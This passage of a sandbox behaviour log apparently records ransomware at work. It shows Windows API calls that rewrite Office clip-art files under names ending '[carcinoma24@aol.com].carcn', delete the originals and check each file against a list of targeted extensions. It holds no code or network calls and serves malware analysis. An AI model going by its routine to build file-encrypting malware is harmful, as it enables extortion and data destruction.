Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0312.489] GetLastError () returned 0x0 [0312.490] ReadFile (in: hFile=0x324, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x8774, lpOverlapped=0x0) returned 1 [0312.504] WriteFile (in: hFile=0x370, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x8780, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x8780, lpOverlapped=0x0) returned 1 [0312.505] ReadFile (in: hFile=0x324, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0312.505] WriteFile (in: hFile=0x370, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0312.505] SetEndOfFile (hFile=0x370) returned 1 [0312.508] CloseHandle (hObject=0x370) returned 1 [0312.512] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.512] SetEndOfFile (hFile=0x324) returned 1 [0312.514] CloseHandle (hObject=0x324) returned 1 [0312.516] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.517] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf")) returned 1 [0312.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0312.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0312.518] lstrlenW (lpString=".doc") returned 4 [0312.518] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.518] lstrlenW (lpString=".docx") returned 5 [0312.518] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0312.518] lstrlenW (lpString=".pdf") returned 4 [0312.518] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.518] lstrlenW (lpString=".xls") returned 4 [0312.518] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.518] lstrlenW (lpString=".xlsx") returned 5 [0312.518] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0312.518] lstrlenW (lpString=".ppt") returned 4 [0312.518] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0312.518] lstrlenW (lpString=".zip") returned 4 [0312.518] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.518] lstrlenW (lpString=".rar") returned 4 [0312.518] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.518] lstrlenW (lpString=".bz2") returned 4 [0312.518] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.518] lstrlenW (lpString=".7z") returned 3 [0312.518] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0312.519] lstrlenW (lpString=".dbf") returned 4 [0312.519] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0312.519] lstrlenW (lpString=".1cd") returned 4 [0312.519] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0312.519] lstrlenW (lpString=".jpg") returned 4 [0312.519] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.519] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.520] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0312.520] GetLastError () returned 0x0 [0312.521] ReadFile (in: hFile=0x388, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x1c98, lpOverlapped=0x0) returned 1 [0312.532] WriteFile (in: hFile=0x38c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1ca0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1ca0, lpOverlapped=0x0) returned 1 [0312.534] ReadFile (in: hFile=0x388, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0312.534] WriteFile (in: hFile=0x38c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0312.534] SetEndOfFile (hFile=0x38c) returned 1 [0312.539] CloseHandle (hObject=0x38c) returned 1 [0312.540] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.540] SetEndOfFile (hFile=0x388) returned 1 [0312.543] CloseHandle (hObject=0x388) returned 1 [0312.543] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.543] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf")) returned 1 [0312.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0312.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0312.546] lstrlenW (lpString=".doc") returned 4 [0312.546] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.546] lstrlenW (lpString=".docx") returned 5 [0312.546] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0312.546] lstrlenW (lpString=".pdf") returned 4 [0312.546] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.546] lstrlenW (lpString=".xls") returned 4 [0312.546] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.546] lstrlenW (lpString=".xlsx") returned 5 [0312.546] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0312.546] lstrlenW (lpString=".ppt") returned 4 [0312.546] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0312.546] lstrlenW (lpString=".zip") returned 4 [0312.546] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.546] lstrlenW (lpString=".rar") returned 4 [0312.547] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.547] lstrlenW (lpString=".bz2") returned 4 [0312.547] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.547] lstrlenW (lpString=".7z") returned 3 [0312.547] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0312.547] lstrlenW (lpString=".dbf") returned 4 [0312.547] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0312.547] lstrlenW (lpString=".1cd") returned 4 [0312.547] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0312.547] lstrlenW (lpString=".jpg") returned 4 [0312.547] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.551] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.551] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0312.553] GetLastError () returned 0x0 [0312.553] ReadFile (in: hFile=0x324, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x674, lpOverlapped=0x0) returned 1 [0312.559] WriteFile (in: hFile=0x380, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x680, lpOverlapped=0x0) returned 1 [0312.560] ReadFile (in: hFile=0x324, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0312.561] WriteFile (in: hFile=0x380, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0312.561] SetEndOfFile (hFile=0x380) returned 1 [0312.561] CloseHandle (hObject=0x380) returned 1 [0312.561] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.561] SetEndOfFile (hFile=0x324) returned 1 [0312.562] CloseHandle (hObject=0x324) returned 1 [0312.562] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.562] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf")) returned 1 [0312.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0312.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0312.563] lstrlenW (lpString=".doc") returned 4 [0312.563] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.563] lstrlenW (lpString=".docx") returned 5 [0312.563] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0312.564] lstrlenW (lpString=".pdf") returned 4 [0312.564] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.564] lstrlenW (lpString=".xls") returned 4 [0312.564] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.564] lstrlenW (lpString=".xlsx") returned 5 [0312.564] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0312.564] lstrlenW (lpString=".ppt") returned 4 [0312.564] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0312.564] lstrlenW (lpString=".zip") returned 4 [0312.564] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.564] lstrlenW (lpString=".rar") returned 4 [0312.564] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.564] lstrlenW (lpString=".bz2") returned 4 [0312.564] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.564] lstrlenW (lpString=".7z") returned 3 [0312.564] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0312.564] lstrlenW (lpString=".dbf") returned 4 [0312.564] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0312.564] lstrlenW (lpString=".1cd") returned 4 [0312.564] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0312.564] lstrlenW (lpString=".jpg") returned 4 [0312.564] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.574] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.574] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0312.576] GetLastError () returned 0x0 [0312.576] ReadFile (in: hFile=0x388, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x11e4, lpOverlapped=0x0) returned 1 [0312.596] WriteFile (in: hFile=0x370, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x11f0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x11f0, lpOverlapped=0x0) returned 1 [0312.597] ReadFile (in: hFile=0x388, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0312.597] WriteFile (in: hFile=0x370, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0312.597] SetEndOfFile (hFile=0x370) returned 1 [0312.601] CloseHandle (hObject=0x370) returned 1 [0312.601] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.601] SetEndOfFile (hFile=0x388) returned 1 [0312.605] CloseHandle (hObject=0x388) returned 1 [0312.605] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.605] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf")) returned 1 [0312.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0312.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0312.609] lstrlenW (lpString=".doc") returned 4 [0312.609] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.609] lstrlenW (lpString=".docx") returned 5 [0312.609] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0312.609] lstrlenW (lpString=".pdf") returned 4 [0312.609] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.609] lstrlenW (lpString=".xls") returned 4 [0312.609] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.609] lstrlenW (lpString=".xlsx") returned 5 [0312.609] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0312.609] lstrlenW (lpString=".ppt") returned 4 [0312.609] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0312.609] lstrlenW (lpString=".zip") returned 4 [0312.609] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.609] lstrlenW (lpString=".rar") returned 4 [0312.609] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.609] lstrlenW (lpString=".bz2") returned 4 [0312.609] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.609] lstrlenW (lpString=".7z") returned 3 [0312.610] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0312.610] lstrlenW (lpString=".dbf") returned 4 [0312.610] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0312.610] lstrlenW (lpString=".1cd") returned 4 [0312.610] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0312.610] lstrlenW (lpString=".jpg") returned 4 [0312.610] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.617] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.617] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152884.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0312.618] GetLastError () returned 0x0 [0312.618] ReadFile (in: hFile=0x380, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x1b2c, lpOverlapped=0x0) returned 1 [0312.621] WriteFile (in: hFile=0x374, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1b30, lpOverlapped=0x0) returned 1 [0312.622] ReadFile (in: hFile=0x380, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0312.622] WriteFile (in: hFile=0x374, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0312.622] SetEndOfFile (hFile=0x374) returned 1 [0312.628] CloseHandle (hObject=0x374) returned 1 [0312.629] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.629] SetEndOfFile (hFile=0x380) returned 1 [0312.630] CloseHandle (hObject=0x380) returned 1 [0312.630] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.630] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152884.wmf")) returned 1 [0312.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68 [0312.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68 [0312.633] lstrlenW (lpString=".doc") returned 4 [0312.633] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.633] lstrlenW (lpString=".docx") returned 5 [0312.633] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0312.633] lstrlenW (lpString=".pdf") returned 4 [0312.633] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.633] lstrlenW (lpString=".xls") returned 4 [0312.633] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.633] lstrlenW (lpString=".xlsx") returned 5 [0312.633] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0312.633] lstrlenW (lpString=".ppt") returned 4 [0312.633] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68 [0312.633] lstrlenW (lpString=".zip") returned 4 [0312.633] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.633] lstrlenW (lpString=".rar") returned 4 [0312.634] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.634] lstrlenW (lpString=".bz2") returned 4 [0312.634] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.634] lstrlenW (lpString=".7z") returned 3 [0312.634] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68 [0312.634] lstrlenW (lpString=".dbf") returned 4 [0312.634] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68 [0312.634] lstrlenW (lpString=".1cd") returned 4 [0312.634] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68 [0312.634] lstrlenW (lpString=".jpg") returned 4 [0312.634] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.639] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.639] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0312.642] GetLastError () returned 0x0 [0312.642] ReadFile (in: hFile=0x324, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x29ac, lpOverlapped=0x0) returned 1 [0312.649] WriteFile (in: hFile=0x370, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x29b0, lpOverlapped=0x0) returned 1 [0312.650] ReadFile (in: hFile=0x324, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0312.650] WriteFile (in: hFile=0x370, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0312.650] SetEndOfFile (hFile=0x370) returned 1 [0312.650] CloseHandle (hObject=0x370) returned 1 [0312.650] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.650] SetEndOfFile (hFile=0x324) returned 1 [0312.651] CloseHandle (hObject=0x324) returned 1 [0312.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.652] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 